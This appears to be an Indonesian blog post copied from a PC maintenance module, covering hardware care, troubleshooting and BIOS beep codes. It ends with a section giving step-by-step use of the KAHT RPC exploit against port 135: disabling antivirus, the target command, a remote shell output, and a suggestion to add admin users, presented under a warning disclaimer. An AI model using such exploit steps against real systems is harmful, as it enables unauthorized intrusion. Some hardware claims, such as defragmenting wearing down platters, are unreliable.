Defrag harddisk secara berkala. Fungsi defrag adalah untuk menata dan mengurutkan
file-file harddisk berdasarkan jenis file/data sedemikian rupa sehingga akan mempermudah
proses read/write sehingga beban kerja akan lebih ringan yg akhirnya dapat
memperpanjang umur harddisk. Caranya klik menu Start > Program > Accesories >
System Tool > Disk DefragmenterSaat menjalankan fungsi ini tidak boleh ada program lain
yg berjalan termasuk screensaver karena akan mengacaukan fungsi defrag ini. Untuk cara
ini dianjurkan tidak terlalu sering,mengapa….? Defrag adalah proses pengaturan file pada
hardisk. Untuk mengaturnya agar berada pada posisi track yang berdekatan maka
dilakukan gesekan untuk memindahkan. Defrag yang terlalu sering akan menyebabkan
kondisi piringan hardisk cepat rusak karena seringanya proses pengikisan.
8. Ventilasi yang cukup Tempatkan monitor maupun CPU sedemikian rupa sehingga ventilasi
udara dari dan ke monitor / CPU cukup lancar. Ventilasi yg kurang baik akan
menyebabkan panas berlebihan sehingga komponen/rangkaian elektronik di dalamnya
akan menjadi cepat panas sehingga dapat memperpendek umur komponen tsb. Oleh
karena itu usahakan jarak antara monitor/CPU dengan dinding/tembok minimal 30 cm.
Kalau perlu pasang kipas angin di dalam ruangan. Akan lebih baik lagi jika menggunakan
AC, hmm tambah dingin
9. Jangan meletakkan Speacker Active terlalu dekat dengan monitorKarena medan magnet
yang ada pada speacker tersebut akan mempengaruhi monitor yaitu warna monitor
menjadi tidak rata atau belang-belan
10. Pasang kabel ground. Apabila casing nyetrum, ambil kabel dengan panjang seperlunya,
- 35 -
ujung satu dihubungkan dengan badan CPU (pada casing) sedangkan ujung yg lain ditanam
dalam tanah. Hal ini akan dapat menetralkan arus listrik yg “nyasar” sehingga dapat
membuat komponen elektronik lebih awet.(diambil dari berbagai sumber)
MASALAH PADA MOTHER BOARD
Gejala
Setelah dihidupkan, tidak ada tampilan di monitor, lampu indikator (led) di panel depan menyala,
lampu indikator (led) monitor berkedip-kedip, kipas power supply dan kipas procesor berputar, tidak ada
suara beep di speaker.
Solusi
Langkah pertama lepas semua kabel power yang terhubung ke listrik, kabel data ke monitor, kabel
keyboad/mouse, dan semua kabel yang terhubung ke CPU, kemudian lepas semua sekrup penutup cashing.
Dalam keadaan casing terbuka silahkan anda lepaskan juga komponen-komponen lainnya, yaitu kabel
tegangan dari power supply yang terhubung ke Motherboard, harddisk, floppy, hati-hati dalam
pengerjaannya jangan terburu-buru. Begitu juga dengan Card yang menempel pada Mboard (VGA, Sound
atau Card lainnya). Sekarang yang menempel pada cashing hanya MotherBoard saja. Silahkan anda periksa
Motherboadnya dengan teliti, lihat Chip (IC), Elko, Transistor dan yang lainnya apakah ada yang terbakar.
Jika tidak ada tanda-tanda komponen yang terbakar kemungkinan Motherboard masih bagus, tapi ada
kalanya Mboard tidak jalan karena kerusakan pada program yang terdapat di BIOS
MASALAH PADA HARD DISK
Gejala
Pada saat CPU dinyalakan kemudian melakukan proses Post setelah itu proses tidak berlanjut dan
diam beberapa saat tidak langsung masuk ke operating system, dan kemudian di layar monitor ada pesan
“harddisk error, harddisk Failur, setelah itu muncul pesan “press F1 to continou” setelah kita menekan
- 36 -
tombol F1 tidak masuk Operating system dan muncul pesan “Operating system not found”.
Solusi :
Periksa kabel tegangan
Mengatasi Masalah Pada CD/DVD/ROM/RW
Gejala :
Jenis kerusakan yang biasa ditemui
1. Tidak terdeteksi di windows
2. Tidak bisa keluar masuk CD
3. Tidak bisa membaca/menulis/hanya bisa membaca saja. (CD)
4. Tidak bisa membaca/menulis/write protect (Floppy disk)
Solusi
Ø Periksa kabel data dan kabel tegangan yang masuk ke CD-floppy, perikas di setup bios apakah
sudah dideteksi? sebaiknya diset auto. Periksa apakah led menyala, jika tidak kerusakan di
Controllernya.
Ø Kerusakan adapada mekanik motor atau karetmotor.
Ø Kerusakan Biasanya pada optik, tetapi ada kemungkinan masih bisa diperbaiki dengan cara men-set
ualng optik tersebut.
Ø Head Kotor, bisa dibersihkan menggunakan Cutenbud
Masalah BIOS
Gejala
Hati-hati dalam Update Bios, ketika meng-Update anda keliru memilih versi Bios, PC jadi tidak jalan
bahkan anda tidak dapat masuk ke BIOS.
Solusi
Biasanya Update tidak dapat dibatalkan, hanya jenis Motherboard tertentu yang memiliki backup
BIOS pada Chip-nya, Disitu tersimpan jenis asli BIOS yang tidak dapat dihapus, untuk dapat merestore-nya
- 37 -
anda tinggal memindahkan Posisi Jumper khusus yang biasanya sudah ada petunjuk di buku manualnya.
Kemudian hidupka PC dan tunggu 10 detik, BIOS yang asli telah di Restore, kembalikan Posisi Jumper
pada posisi semula, dan PC siap dijalankan kembali. Jika Motherboard tidak memiliki pasilitas tersebut,
Chip BIOS harus dikirim ke Produsen, Jenis BIOS dapat anda lihat di buku manualnya. Berhati-hati dalam
pemasangannya jangan sampai kaki IC BIOS patah atau terbalik Posisinya.
Gejala
CPU mengeluarkan suara Beep beberapa kali di speakernya dan tidak ada tampilan ke layar
monitor, padahal monitor tidak bermasalah.
Solusi
Bunyi Beep menandakan adanya pesan kesalahan tertentu dari BIOS, Bunyi tersebut menunjukan jenis
kesalahan apa yang terjadi pada PC, Biasanya kesalahan pada Memory yang tdk terdeteksi, VGA Card,
yang tidak terpasang dengan baik, Processor bahkan kabel data Monitor pun bisa jadi
penyebabnya.Silahkan anda periksa masalah tersebut.
Pesan kesalahan BIOS. Bunyi kesalahan BIOS biasanya tidak semua Motherboard menandakan kesalahan
yang sama tergantung dari jenis BIOS nya.
AMI BIOS
Beep 1x :
RAM/Memory tidak terpasang dengan Baik atau Rusak, Beep 6x : Kesalahan Gate A20 - Menunjukan
Keyboard yang rusak atau IC Gate A20-nya sendiri, Beep 8x : Grapihic Card / VGA Card tidak terpasang
dengan baik atau Rusak, Beep 11x : Checksum Error, periksa Batre Bios, dan ganti dengan yang baru.
AWARD BIOS
Beep 1x Panjang :
RAM/Memory tidak terpasang dengan Baik atau Rusak, Beep 1x Panjang 2x Pendek : Kerusakan Pada
Graphic Card (VGA), Periksa bisa juga Pemasangan pada slotnya tidak pas (kurang masuk), Beep 1x
Panjang 3x Pendek : Keyboard rusak atau tidak terpasang. Beep Tidak terputus / bunyi terus menerus :
- 38 -
RAM atau Graphic Card tidak terdeteksi.
Pheonix BIOS
1. 1 BEEP, 1 BEEP dan 4 BEEP
Disebabkan BIOS anda tidak berfungsi. Boleh update atau flash BIOS.
2. 1 BEEP, 2 BEEP dan 1 BEEP
Disebabkan motherboard anda yang sudah rosak.
3. 1 BEEP, 3 BEEP dan 1 BEEP
RAM anda mungkin bermasalah atau tidak dipasang dengan betul.
4. 3 BEEP, 1 BEEP dan 1 BEEP
Adalah disebabkan masalah motherboard computer anda.
5. 3 BEEP, 3 BEEP dan 4 BEEP
VGA kad atau graphic anda bermasalah atau tidak dipasang dengan betul.
Batrey CMOS Rusak / Lemah
Gejala
Muncul Pesan CMOS Checksum Vailure / Batrey Low, diakibatkan tegangna yang men-supply IC
CMOS/BIOS tidak normal dikarenakan batrey lemah, sehingga settingan BIOS kembali ke
Default-nya/setingan standar pabrik, dan konfigurasi Hardware harus di Set ulang.
Solusi
Segera Ganti Batreynya
MASALAH SYSTEM CPU
Gejala : CPU yang sering Hang???
Solusi :
Ada beberapa faktor terjadi hanging diantaranya : Ada BadSector di Harddisk, Ada Virus, Ada masalah di
- 39 -
Hardware seperti Memory Kotor/Rusak, MBoard Kotor/Rusak, Cooling Fan perputaran fan nya sudah
lemah, Power Supply tidak stabil…..sebaiknya jangan dipaksakan untuk digunakan karena akan berakibat
lebih fatal, silahkan hub: kami untuk dapat mengatasi masalah tersebut
Gejala
Komputer sering tampil blue screen apa penyebabnya?
Solusi
Pesan Blue Screen bisa disebabkan system windows ada yang rusak, Bisa dari Memory, Bisa dari hardisk,
bisa dari komponen lainnya, tergantung pesan blue screen yang ditampilkan.
Gejala
Komputer jadi lebih lambat dari sebelumnya, padahal awalnya tidak begitu lambat
Solusi
Penyebab komputer anda prosesnya lambat ada beberapa faktor yaitu : Space hardisk terlalu penuh, terlalu
banyak program / software yang memakan space harddisk dan memory, ada virus ,harddisk badsector.
Cara membobol Password Windows yang terkoneksi Internet
Artikel ini bukan bertujuan untuk mengajari pembaca untuk berbuat jahat dengan cara membobol
password komputer orang lain, tapi hanya sekedar mengingatkan kepada anda terutama bagi
administrator jaringan atau pengguna komputer yang terkoneksi ke jaringan agar berhati-hati dan
selalu waspada bahwa password /komputer anda mudah di bobol dan diambil alih oleh orang lain.
kali ini penulis menggunakan metode explosits port 135 (DCOMRPC) dimana semenjak adanya issue
virus W32 Welcia K yang menyerang port 135, yang dalam hal ini diakui oleh pihak microsoft (Baca
Microsoft Security Bulletin MS03-026). target dari worm ini adalah pc yang menggunakan IIS 5.0
seperti windows 2000 /XP.
Untuk mempersingkat bagaimana caranya kita membobol password di windows kita menggunakan
Tools Kaht bisa anda download disini.
Karena proses ini menggunakan worm sebaiknya anda mendisable antivirus anda.
Langkahnya:
1. Unzip file Kaht.zip
2. Letakkan pada direktori yang anda suka.
3. Masuk ke direktori tempat file berada melalui text mode
- 40 -
4. Tentukan sasaran pc yang akan di hacking missal
IP : 192.168.30.3
Kaht 192.168.30.1 192.168.30.3
Jika hacking anda berhasil akan tampil pada command line kira-kira sbb:
--------------------------------------------------------------------------------
KAHT II - MASSIVE RPC EXPLOIT dst
--------------------------------------------------------------------------------
[+] Target: 192.168.30.1-192.168.30.3 with 50 Treads
[+] Attacking Port:135. Remote Shell at port:36388
[+] Scan In Progress......
- Connecting to 192.168.30.3
Sending Exploit to a [Win2k] Server
- Connectando con la Shell Remote
dst........
C:WINNTsystem32>
Berarti anda sudah masuk ke komputer yang anda hack dan komputer sepenuhnya sudah anda
kuasai. anda bisa membuat user admin membuat sharing dll
Sekali lagi artikel ini sekedar mengingatkan kepada anda berhatihatilah dalam mengelola komputer
anda terutama Administator jaringan
Langganan:
Posting Komentar (Atom)
Tidak ada komentar:
Posting Komentar